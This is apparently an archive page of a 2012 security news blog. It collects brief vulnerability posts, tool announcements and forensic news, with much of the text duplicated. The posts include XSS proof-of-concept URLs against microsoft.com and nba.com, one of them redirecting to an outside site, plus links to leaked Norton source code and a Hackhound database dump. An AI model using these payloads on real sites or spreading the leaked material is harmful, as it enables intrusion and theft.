... neuere Einträge
Friday, 9. March 2012
ZetaBoards - XSS
Am Friday, 9. Mar 2012 im Topic 'Vulnerabilities'
by
st2tea
Sony
Symantec Norton AntiVirus 2006 All Platform Source Code
Am Friday, 9. Mar 2012 im Topic 'Source Code'
Typ:
Porno > Sonstiges
Dateien:
1
Größe:
1.07 GiB (1147711544 Bytes)
Tag(s):
Anonymous AntiSec LuLzSec
Qualität:
+5 / -0 (+5)
Hochgeladen:
2012-03-08 17:05:55 GMT
By:
Anonymous
Info Hash:
B1DEC26B69A7DD191451C29BCE83B74633293CE4
Download
http://thepiratebay.se/torrent/7087027/
Porno > Sonstiges
Dateien:
1
Größe:
1.07 GiB (1147711544 Bytes)
Tag(s):
Anonymous AntiSec LuLzSec
Qualität:
+5 / -0 (+5)
Hochgeladen:
2012-03-08 17:05:55 GMT
By:
Anonymous
Info Hash:
B1DEC26B69A7DD191451C29BCE83B74633293CE4
Download
http://thepiratebay.se/torrent/7087027/
Thursday, 8. March 2012
Adobe Flash Player .mp4 'cprt' Overflow
Am Thursday, 8. Mar 2012 im Topic 'Vulnerabilities'
This vulnerability has been exploited in the wild as part of the
"Iran's Oil and Nuclear Situation.doc" phishing campaign.
Info
http://pastebin.com/ebvsLGBF
"Iran's Oil and Nuclear Situation.doc" phishing campaign.
Info
http://pastebin.com/ebvsLGBF
Wednesday, 7. March 2012
Mozilla Firefox - XSS
Am Wednesday, 7. Mar 2012 im Topic 'Vulnerabilities'
Microsoft official website(micrsoft.com) is vulnerable to Cross Site Scripting (XSS). The vulnerability is in the Products page url.
hxxp://www.microsoft.com/en-us/together/possibilities.aspx
?hdrFo=mthdr02'"-->alert('XSS');document.location.replace('http://ehackingnews.com')http://www.microsoft.com/en-us/together/possibilities.aspx
?hdrFo=mthdr02'"-->3Ealert('Simple XSS')
Code
hxxp://www.microsoft.com/en-us/together/possibilities.aspx?hdrFo=mthdr02'"-->alert("XSS")
by
flexxpoint
hxxp://www.microsoft.com/en-us/together/possibilities.aspx
?hdrFo=mthdr02'"-->alert('XSS');document.location.replace('http://ehackingnews.com')http://www.microsoft.com/en-us/together/possibilities.aspx
?hdrFo=mthdr02'"-->3Ealert('Simple XSS')
Code
hxxp://www.microsoft.com/en-us/together/possibilities.aspx?hdrFo=mthdr02'"-->alert("XSS")
by
flexxpoint
Mozilla Firefox new add-on called Collusion
Am Wednesday, 7. Mar 2012 im Topic 'News'
Mozilla Firefox has launched a new add-on called Collusion that enable users to see which advertisers are tracking their movements on the web.
Collusion is an experimental add-on for Firefox and allows you to see all the third parties that are tracking your movements across the Web. It will show, in real time, how that data creates a spider-web of interaction between companies and other trackers.
Collusion is an experimental add-on for Firefox and allows you to see all the third parties that are tracking your movements across the Web. It will show, in real time, how that data creates a spider-web of interaction between companies and other trackers.
HOW TO FETCH USERNAME AND PASSWORD BY SOCIAL ENGINEERING TECHNOLOGIES
Am Wednesday, 7. Mar 2012 im Topic 'Tutorials'
by
ahaseckaser
DIY USB password generator
Am Wednesday, 7. Mar 2012 im Topic 'Tutorials'
Joonas Pihlajamaa a programmer who solved this issue by using a USB HID stick that types a password stored in EEPROM, The device may also generate a new password with 10 characters by only typing the CAPS button which will help in getting a new password in a fast way without need to remember it. The programmer used an old 512 MB flash drive.
Download Source
http://codeandlife.com/data/usb_passgen.zip
Download Source
http://codeandlife.com/data/usb_passgen.zip
Adobe SWF Investigator
Am Wednesday, 7. Mar 2012 im Topic 'Tools'
Adobe® SWF Investigator is the only comprehensive, cross-platform, GUI-based set of tools, which enables quality engineers, developers and security researchers to quickly analyze SWF files to improve the quality and security of their applications. With SWF Investigator, you can perform both static and dynamic analysis of SWF applications with just one toolset. SWF Investigator lets you quickly inspect every aspect of a SWF file from viewing the individual bits all the way through to dynamically interacting with a running SWF.
Download
http://labs.adobe.com/technologies/swfinvestigator/
Download
http://labs.adobe.com/technologies/swfinvestigator/
Tuesday, 6. March 2012
Hackhound 2008-2012
Am Tuesday, 6. Mar 2012 im Topic 'News'
Latest Database pruned of any information can be found here ...
http://www.hackhound.org/HH-DB-2012-03-05.zip
IPB attachments here ...
http://www.hackhound.org/ipb-files
SMF attachments here (old forum) ...
http://www.hackhound.org/smf-files
http://www.hackhound.org/HH-DB-2012-03-05.zip
IPB attachments here ...
http://www.hackhound.org/ipb-files
SMF attachments here (old forum) ...
http://www.hackhound.org/smf-files
Google app-inventor - AndroidappMaker
Am Tuesday, 6. Mar 2012 im Topic 'Android'
Google and MIT are pleased to announce the initial free and open-source release from Google of the App Inventor source code
Download
http://code.google.com/p/app-inventor-releases/downloads/list
Wiki Linux Mac
http://code.google.com/p/app-inventor-releases/wiki/BuildingAndRunning
1. Clone the Source! 2. Install dev-java/ant 3. Goto Appinventor-Dir bash: ant 4. bash: ant tests 5. Start the AppEngine Java Service (Download here: http://code.google.com/intl/de-DE/appengine/downloads.html#Download_the_Google_App_Engine_SDK) 6. bash: RunLocalBuildServer!
Wiki Windows
http://sites.jsoft.com/appinventor/home/gsuac/server/settingup/gsuar#TOC-your-war-folder
Download
http://code.google.com/p/app-inventor-releases/downloads/list
Wiki Linux Mac
http://code.google.com/p/app-inventor-releases/wiki/BuildingAndRunning
1. Clone the Source! 2. Install dev-java/ant 3. Goto Appinventor-Dir bash: ant 4. bash: ant tests 5. Start the AppEngine Java Service (Download here: http://code.google.com/intl/de-DE/appengine/downloads.html#Download_the_Google_App_Engine_SDK) 6. bash: RunLocalBuildServer!
Wiki Windows
http://sites.jsoft.com/appinventor/home/gsuac/server/settingup/gsuar#TOC-your-war-folder
Which Android Security Tools Are Worth?
Am Tuesday, 6. Mar 2012 im Topic 'News'
Only 7 of the 41 virus scanners had detection rates above 90 percent, with over half of the remaining apps having detection rates under 40 percent. The top 7 apps were Avast Mobile Security, Dr. Web Anti-virus Light, F-Secure Mobile Security, IKARUS Mobile Security Lite, Lookout Mobile Security, Kaspersky Mobile Security Lite, and Zoner AntiVirus Free. Out of those 7, Kaspersky and F-Secure had the highest detection rates, followed by Avast.
Info
http://www.pcworld.com/businesscenter/article/251345/which_android_security_tools_are_worth_your_time.html
Info
http://www.pcworld.com/businesscenter/article/251345/which_android_security_tools_are_worth_your_time.html
Monday, 5. March 2012
nba.com - XSS
Am Monday, 5. Mar 2012 im Topic 'Vulnerabilities'
Details:
Parameter successURL in /webAction?actionId=emailFormRandom^Name=&Email=&Comment=&=Submit&=Reset&ReferringURL=&emailTo=technicalsupport%40nba.com&emailFrom=technicalsupport%40nba.com&successURL=%2F&subject=NBA.com+404+Error+Message is vulnerable to "+onerror="alert(1)" XSS input.
Proof Of Concept:
hxxp://www.nba.com:80/webAction?actionId=emailFormRandom
Parameter successURL in /webAction?actionId=emailFormRandom^Name=&Email=&Comment=&=Submit&=Reset&ReferringURL=&emailTo=technicalsupport%40nba.com&emailFrom=technicalsupport%40nba.com&successURL=%2F&subject=NBA.com+404+Error+Message is vulnerable to "+onerror="alert(1)" XSS input.
Proof Of Concept:
hxxp://www.nba.com:80/webAction?actionId=emailFormRandom
oSpy- Sniffing Local Application Calls
Am Monday, 5. Mar 2012 im Topic 'Tools'
oSpy is a tool which aids in reverse-engineering software running on the Windows platform.
oSpy already intercepts one such API, and is the API used by MSN Messenger, Google Talk, etc. for encrypting/decrypting HTTPS data.
Download
http://code.google.com/p/ospy/downloads/list
oSpy already intercepts one such API, and is the API used by MSN Messenger, Google Talk, etc. for encrypting/decrypting HTTPS data.
Download
http://code.google.com/p/ospy/downloads/list
Online Forensic Evidence Extractor (COFEE)
Am Monday, 5. Mar 2012 im Topic 'Forensic'
Microsoft has created Computer Online Forensic Evidence Extractor (COFEE), designed exclusively for use by law enforcement agencies. COFEE brings together a number of common digital forensics capabilities into a fast, easy-to-use, automated tool for first responders. And COFEE is being provided—at no charge—to law enforcement around the world.
With COFEE, law enforcement agencies without on-the-scene computer forensics capabilities can now more easily, reliably, and cost-effectively collect volatile live evidence. An officer with even minimal computer experience can be tutored—in less than 10 minutes—to use a pre-configured COFEE device. This enables the officer to take advantage of the same common digital forensics tools used by experts to gather important volatile evidence, while doing little more than simply inserting a USB device into the computer.
Info
http://www.microsoft.com/industry/government/solutions/cofee/default.aspx
With COFEE, law enforcement agencies without on-the-scene computer forensics capabilities can now more easily, reliably, and cost-effectively collect volatile live evidence. An officer with even minimal computer experience can be tutored—in less than 10 minutes—to use a pre-configured COFEE device. This enables the officer to take advantage of the same common digital forensics tools used by experts to gather important volatile evidence, while doing little more than simply inserting a USB device into the computer.
Info
http://www.microsoft.com/industry/government/solutions/cofee/default.aspx
Oxygen Forensic Suite
Am Monday, 5. Mar 2012 im Topic 'Forensic'
Besides the general data extracted by similar products, Oxygen Forensic Suite can extract a lot of unique information
Using low-level protocols allows the program to extract: phone basic information and SIM-card data, contacts list, caller groups, speed dials, missed/outgoing/incoming calls, standard SMS/MMS/E-mail folders, custom SMS/MMS/E-mail folders, deleted SMS messages (with some restrictions) , SMS Center timestamps, calendar events schedule, tasks, text notes, photos, videos, sounds, LifeBlog data (all main phone events with their geographical coordinates), Java applications, file system from phone memory and flash card, GPRS and Wi-Fi activity, voice records and much more. The list of supported features depends on a certain phone model
Download
http://www.oxygen-forensic.com/de/download/
Using low-level protocols allows the program to extract: phone basic information and SIM-card data, contacts list, caller groups, speed dials, missed/outgoing/incoming calls, standard SMS/MMS/E-mail folders, custom SMS/MMS/E-mail folders, deleted SMS messages (with some restrictions) , SMS Center timestamps, calendar events schedule, tasks, text notes, photos, videos, sounds, LifeBlog data (all main phone events with their geographical coordinates), Java applications, file system from phone memory and flash card, GPRS and Wi-Fi activity, voice records and much more. The list of supported features depends on a certain phone model
Download
http://www.oxygen-forensic.com/de/download/
... ältere Einträge

